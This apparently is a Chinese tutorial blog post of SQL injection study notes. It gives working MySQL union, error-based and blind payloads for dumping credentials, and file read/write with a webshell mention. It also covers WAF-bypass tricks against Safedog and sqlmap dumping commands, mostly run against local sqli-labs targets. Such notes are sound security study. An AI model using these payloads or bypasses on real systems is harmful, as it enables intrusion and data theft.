【网安第二章】SQL注入

文章目录

MYSQL基础语法

1. union 合并查询

2个特性:

  • 前面查询的语句 和 后面的查询语句 结果互不干扰!
  • 前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致

2. order by

可以用来踩一共有多少列

order by 1 2 3 4 5

3. 系统库

1.information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;

例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。

TABLES表:提供了关于数据中表的信息。table_name

COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

image-20240804202836157

2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

4、sys库具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。

MYSQL手工注入

1. 基础步骤

  1. 判断有无注入点。

    • and 1=1
    • 随便输入内容,如果报错说找不到,则说明有sql注入点。
  2. 猜解列名数量

  • order by 1 / 2 / 3 / 4
  1. 通过报错的方式, 判断回显点
  • id = -1 union select 1,2,3
  • 查看页面,1,2,3是否出现在页面上,就可以知道页面显示的是第几列。(即回显点)
  1. 信息收集
  • 数据库版本:version()

  • 如果是5.0以上,那么存在系统库:information_schema 含有 SCHEMATA、 TABLES、 COLUMNS三张表

  • 库名:database()

    假如得到 ‘security’

  1. 使用SQL进行注入
  • id = -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= database()

    查找security库的所有表名

    • group_concat:因为表名可能有许多个,但页面只显示一个值。所以用group_concat将所有表名合并为一个值。
    • 注意为啥id=-1,是因为要查一条部存在的数据,这样union后面的结果就会显示在页面上。
  • id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’

​ 查找users表的所有列名(假如上面查出一个users表)

很明显,上面的无法执行成功,因为含有单引号。

解决方法:直接把users替换为16进制。(直接用百度的工具将users转换为16进制:0x7573657273)

这样就不需要输入单引号了。

id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

  • 得到表名、列名。然后可以直接查数据了。

  • id = -1 union select 1,2,(select group_concat(username,0x3a,password) from users)

高权限注入

前提:

  1. 用户必须是root
  2. 必须是高版本mysql

0.mysql表权限介绍

  1. mysql库中存在4个控制权限的表
+ User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
+ Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
+ Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
+ Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 

补充:Procs_priv表:存放存储过程和函数级别的权限

  1. mysql权限表的验证过程为
先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

通过身份认证后,进行权限分配,
按照user,db,tables_priv,columns_priv的顺序进行验证。
即先检查全局权限表user,
1. 如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv, columns_priv;
2. 如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;
3. 如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y
4. 以此类推。
  1. 查看mysql有哪些用户?

select user,host from mysql.user;

  1. 查看用户对应权限
    select * from user where user=‘root’ and host=‘localhost’\G; #所有权限都是Y ,就是什么权限都有

  2. 创建 mysql 用户

    • 有两种方式创建MySQL授权用户

      1. 执行create user/grant命令(推荐方式)
        CREATE USER ‘test1’@‘localhost’ IDENTIFIED BY ‘12345’;
      2. 通过insert语句直接操作MySQL系统权限表

6.只提供id查询权限
grant select(id) on test.temp to test1@‘localhost’ identified by ‘123456’;

7.把普通用户变成管理员
GRANT ALL PRIVILEGES ON *.* TO ‘test1’@‘localhost’ WITH GRANT OPTION;

8.删除用户
drop user test1@‘localhost’;

1. 查看user

  • id=-1 union select 1,user(),3

image-20240806002135292

2. 高权限注入

流程和手工注入差不多,但是需要确保user()是root用户

  1. 判断有无注入点。

    • and 1=1
    • 随便输入内容,如果报错说找不到,则说明有sql注入点。
  2. 猜解列名数量

  • order by 1 / 2 / 3 / 4
  1. 通过报错的方式, 判断回显点
  • id = -1 union select 1,2,3
  • 查看页面,1,2,3是否出现在页面上,就可以知道页面显示的是第几列。(即回显点)
  1. 查看user()是否是root。是的话才能高权限注入。

  2. 信息收集

  • 数据库版本:version()

  • 如果是5.0以上,那么存在系统库:information_schema 含有 SCHEMATA、 TABLES、 COLUMNS三张表

  • 库名:database()

    假如得到 ‘security’

  1. 查找当前mysql有啥数据库?

id = -1 union select 1,group_concat(shema_name),3 from information_schema.schemata limit 0,1

  1. 查找某个库的所有表名
  • id = -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 0x74657374
  1. 查找列名
  • id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’

​ 查找users表的所有列名(假如上面查出一个users表)

很明显,上面的无法执行成功,因为含有单引号。

解决方法:直接把users替换为16进制。(直接用百度的工具将users转换为16进制:0x7573657273)

这样就不需要输入单引号了。

id = -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7431

  • 得到表名、列名。然后可以直接查数据了。

  • id=-2 union select 1,name,pass from test.t1

SQL注入之文件读写

前提:

  1. 用户必须是root
  2. 必须是高版本mysql

1. 文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

  • linux
    cat etc/conf

  • win
    www/mysql / my.ini

  • SQL语句

    show global variables like ‘%secure%’ 查看mysql全局变量的配置

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

3. MYSQL读取文件函数

使用函数:load_file()

后面的路径可以是单引号,0x,char转换的字符。

image-20240811165027268

image-20240811165201940

一个思路,如果不回显,可以查看网页源代码F12。

4. 文件读取难点:获取路径

  1. 部署网站的常见路径

image-20240811170011734

  1. 常见获取方式

  2. 报错显示

image-20240811170114040

  1. 遗留文件

比如phpinfo.php文件

image-20240811170324812

  1. 漏洞报错
  2. 平台配置文件

5. MYSQL写入文件

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

image-20240811170601100

select 1,‘mc’,3 into outfile ‘d:/d.txt’

基础防御

1. 魔术引号magic_quotes_gpc

在php.ini文件中
magic_quotes_gpc = On开启
magic_quotes_gpc = Off关闭

在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。

image-20240811172455284

2. 函数

  • 数据类型判断
  • 转义函数。

数据类型

1. 数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

2. 字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

数字型和字符型区别:

image-20240811175347835

mysql机制:只会获取字符串的前面的数字,后面随便输也不会生效。

也就是上面那条的执行和

SELECT * FROM users WHERE id=‘1’ LIMIT 0,1; 是一样的。

image-20240811175436663

所以只通过 and 1=1不一定能确定是否是数字型。还要添加上 and 1=2未回显才能确定是数字型。

3. 搜索型注入点(模糊查询)

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

4. xx型注入点

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx’) or 1=1 # )

常见的闭合符号:’ ‘’ % ( {

这节是介绍,尝试不同的闭合符,以符合mysql的语法

数据提交方式

1. GET方式注入

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入

2. POST方式注入

post提交方式主要适用于表单的提交,用于登录框的注入

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

3. Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

image-20240811185259716

4. HTTP头注入

  • 什么是Header头?

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

  • 什么是Header头部注入?

header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

POST提交SQL注入

Less-11 POST - Error Based - Single quotes- String

(基于错误的POST型单引号字符型注入)

image.png

用burpsuit,抓包修改参数

image.png

联合查询union select测试payload

uname=admin’ union select 1,2 --+&passwd=admin&submit=Submit

爆库payload

uname=admin’ union select 1,database() --+&passwd=admin&submit=Submit

Less-20 POST - Cookie injections - Uagent field - Error based

(基于错误的cookie头部POST注入)

单引号,报错型,cookie型注入。

image.png

存在魔术引号

image.png

直接cookie注入,进行绕过

Cookie: uname=-admin’ union select 1,2,database()–+

image.png

好处:

  • 绕过常规的防御手段

报错盲注

1. 相关mysql函数解释

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

‘or updatexml(1,concat(0x7e,database()),0)or’

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

’ or extractvalue(1,concat(0x7e,database())) or’

’ union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用

image.png

image.png

2. union结合报错盲注

  1. 得到闭合符

image-20240811194153907

可知闭合符为单引号。

  1. order by

image-20240811194036068

如上,当报错了,得到的回显是报错信息。可得知,只有两列。

  1. 使用extractvalue,输入错误的Xpath,使其强制报错,并且从报错信息得到语句执行的结果。

image-20240811194652788

如上,虽然报错,但是把select语句执行了。

所以,后面也可以按上面的步骤继续执行了。

  1. 获取表名

image-20240811195107962

3. or结合报错盲注

’ or extractvalue(1,concat(0x7e,database())) or’

image-20240811195422964

延时注入

1.知识储备:

  • sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

使用sleep可以使查询数据休眠指定时间

image-20240811195757116

  • if(): if 是 计算机编程语言一个关键字,分支结构的一种

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

image-20240811195911155

  • mid(a,b,c): 从b开始,截取a字符串的c位

  • substr(a,b,c): 从b开始,截取字符串a的c位

  • left(database(),1),database() : left(a,b)从左侧截取a的前b位

  • length(database())=8 : 判断长度

  • ascii(x)=100: 判断x的ascii值是否为100

2. if与sleep结合使用:

image-20240811200115694

达到延时数据显示,从而通过数据显示的时间判断数据对错!

image-20240811200351285

等5秒钟,才会显示。

  • 不推荐用,数据不准确。而且这个延时受网络因素影响。

3. if 与sleep和length猜取数据库长度。

image-20240811200755660

4. 使用mid或substr来单独猜取每一位

image-20240811202232500

5. 注意事项

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

布尔盲注

1.什么是布尔盲注?

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

返回False时:

image.png

返回True时:

image.png

2.如何进行布尔盲注?

注入流程:

image.png

3.靶场案例演示——二分法

1.猜解数据库的名字

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>64–+ 正常(二分法)

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>95–+ 正常(二分法)

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>115–+ 正常(二分法)

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>116–+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))=115–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),2,1))=101–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),3,1))=99–+ 正常`

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表明名

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注:select下的limit是第几个表。

substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为… 解码为referer

image.png

4. 总结归纳:

盲注分为三种:

1.布尔型盲注 根据页面返回的真假来判断的即为布尔型盲注

2.时间型盲注 根据页面返回的时间来判断的即为时间型盲注

3.报错型盲注 :根据页面返回的对错来判断的即为报错型盲注

加解密注入

  • 抓包,如果得到的是密文,使用一些解密工具,得到原文和密文,判断加密方法。
  • 这个时候,将注入语句加密,再用报文发出去,便能成功注入。

课程展示的是base64

base64密文最后一般是两个等号==

堆叠注入

条件:

  • Mysql才支持

原理:

  • 就是分号后的语句一并被执行了。

image-20240811210150708

堆叠注入和union的区别

  • union仅可以用来执行查询语句

  • 堆叠注入可以执行的是任意语句

WAF绕过

  • WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

image-20240811211903749

1.更改提交方式

  • get 改为 post

  • 前提是网站支持(即支持post也能接受)

2. 关键词大小写绕过

    有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

    举例: union select ---> unIOn SeLEcT

3.编码绕过

    针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

    举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

4. 双写绕过

    部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

    举例:UNIunionON ,SELselectECT anandd

5. 换行(\N)绕过

    举例:select * from admin where username = \N union select 1,user() from admin

6. 注释符内联注释绕过:

    union selecte =/*!union*/ select

    注释符里感叹号后面的内容会被mysql执行。
  • 案例:

假如安全狗可以匹配database()

我们可以使用内联注释跳过匹配。

image-20240811214303590

  • 思路学习

假如尝试了union select被拦截了,尝试下分别添加union和select,看看安全狗是否只会匹配连贯的union 和select

7. HTTP参数污染

    对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

    举例:?id=1&id=2&id=3
    
设想情况:
- 用户输入的:
    ?id=1/**&id=-1 union select 1,2,3;*/
- 安全狗看到的:
	?id=1/*...*/
- 后台执行的:(PHP默认获取最后一个参数)    
    ?&id=-1 union select 1,2,3;*/
如此,就绕过了安全狗。

原理上来看,由于两个软件系统(安全狗 和 后台服务器)的解析规则不一致,所以导致存在漏洞。所以以后可以重点关注,两个软件系统的不一致的地方,从而进行利用。

8.好使的奇技淫巧

  1. 联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+

以上实际等价于

union --+
select 1,2,3

所以可以跳过安全狗的拦截。

思路学习:

  • %0a是换行,换行很重要!
  1. order by绕过:order%20/*//--/*/ by 3

以上等价于

order by 3

思路学习:

  • %20是空格。
  • 如果仅仅是order /**/ by 3是无法绕过的,加一个%20安全狗就无法识别了
  1. from绕过: /*!06447%23%0afrom*/

9. 总结

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性**

sqlmap

1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

  • 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入:在可以使用Union的情况下的注入。
  • 堆查询注入:可以同时执行多条语句时的注入。
  • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

sqlmap(get)

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u:用于get提交方式,后面跟注入的url网址
--level
--risk

--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和refereer

risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入

例子一:

image-20240811223746906

查找test库的所有表

例子二:

image-20240811223834873

查找表的所有字段

例子三:

image-20240811223934963

查找字段的值

sqlmap(post)

1. 注入方式一

1.用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

image.png

2.列数据库:

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

可以使用 * 指定需要测试的参数(不推荐)

image-20240811225707144

在1.txt中使用星号

3.猜表

选择一个数据库,比如选test

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables

image.png

4.猜列

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns

image.png

2. 注入方式二:自动搜索表单的方式

sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/index.php” --forms

image.png

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入"Y"

image.png

常用命令:

-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data   
  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值